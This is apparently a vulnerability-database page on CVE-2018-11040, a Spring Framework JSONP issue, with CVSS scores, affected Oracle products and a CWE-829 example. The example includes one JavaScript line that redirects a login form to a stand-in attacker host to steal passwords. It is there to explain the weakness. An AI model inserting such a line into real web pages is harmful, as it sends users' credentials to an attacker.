CVE-2018-11040 - Inclusion of Functionality from Untrusted Control Sphere

Severity

43%

Complexity

86%

Confidentiality

48%

Spring Framework, versions 5.0.x prior to 5.0.7 and 4.3.x prior to 4.3.18 and older unsupported versions, allows web applications to enable cross-domain requests via JSONP (JSON with Padding) through AbstractJsonpResponseBodyAdvice for REST controllers and MappingJackson2JsonView for browser requests. Both are not enabled by default in Spring Framework nor Spring Boot, however, when MappingJackson2JsonView is configured in an application, JSONP support is automatically ready to use through the "jsonp" and "callback" JSONP parameters, enabling cross-domain requests.

Spring Framework, versions 5.0.x prior to 5.0.7 and 4.3.x prior to 4.3.18 and older unsupported versions, allows web applications to enable cross-domain requests via JSONP (JSON with Padding) through AbstractJsonpResponseBodyAdvice for REST controllers and MappingJackson2JsonView for browser requests. Both are not enabled by default in Spring Framework nor Spring Boot, however, when MappingJackson2JsonView is configured in an application, JSONP support is automatically ready to use through the "jsonp" and "callback" JSONP parameters, enabling cross-domain requests.

CVSS 3.0 Base Score 5.9. CVSS Attack Vector: network. CVSS Attack Complexity: high. CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N).

CVSS 2.0 Base Score 4.3. CVSS Attack Vector: network. CVSS Attack Complexity: medium. CVSS Vector: (AV:N/AC:M/Au:N/C:P/I:N/A:N).

Demo Examples

Inclusion of Functionality from Untrusted Control Sphere

CWE-829

This login webpage includes a weather widget from an external website:


               
</div>
</div>
</form>
<script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:


               
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";...Weather widget code....

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

Overview

Type

Oracle

First reported 6 years ago

2018-06-25 15:29:00

Last updated 5 years ago

2019-10-03 00:03:00

Affected Software

Oracle Agile Product Lifecycle Management 9.3.3

9.3.3

Oracle Agile Product Lifecycle Management 9.3.4

9.3.4

Oracle Agile Product Lifecycle Management 9.3.5

9.3.5

Oracle Application Testing Suite 12.5.0.3

12.5.0.3

Oracle Application Testing Suite 13.1.0.1

13.1.0.1

Oracle Application Testing Suite 13.2.0.1

13.2.0.1

Oracle Application Testing Suite 13.3.0.1

13.3.0.1

Oracle Communications Unified Inventory Management 7.3.2

7.3.2

Oracle Communications Unified Inventory Management 7.3.4

7.3.4

Oracle Communications Unified Inventory Management 7.3.5

7.3.5

Oracle Communications Unified Inventory Management 7.4.0

7.4.0

Oracle Endeca Information Discovery Integrator 3.1.0

3.1.0

Oracle Endeca Information Discovery Integrator 3.2.0

3.2.0

Oracle Enterprise Manager Ops Center 12.3.3

12.3.3

Oracle FLEXCUBE Private Banking 2.0.0.0

2.0.0.0

Oracle FLEXCUBE Private Banking 12.0.1.0

12.0.1.0

Oracle FLEXCUBE Private Banking 12.0.3.0

12.0.3.0

Oracle FLEXCUBE Private Banking 12.1.0.0

12.1.0.0

Oracle Hospitality Guest Access 4.2.0

4.2.0

Oracle Hospitality Guest Access 4.2.1

4.2.1

Oracle Product Lifecycle Management 9.3.6

9.3.6

Oracle Weblogic Server 12.2.1.3.0

12.2.1.3.0

Stay updated

ExploitPedia is constantly evolving. Sign up to receive a notification when we release additional functionality.

Get in touch

If you'd like to report a bug or have any suggestions for improvements then please do get in touch with us using this form. We will get back to you as soon as we can.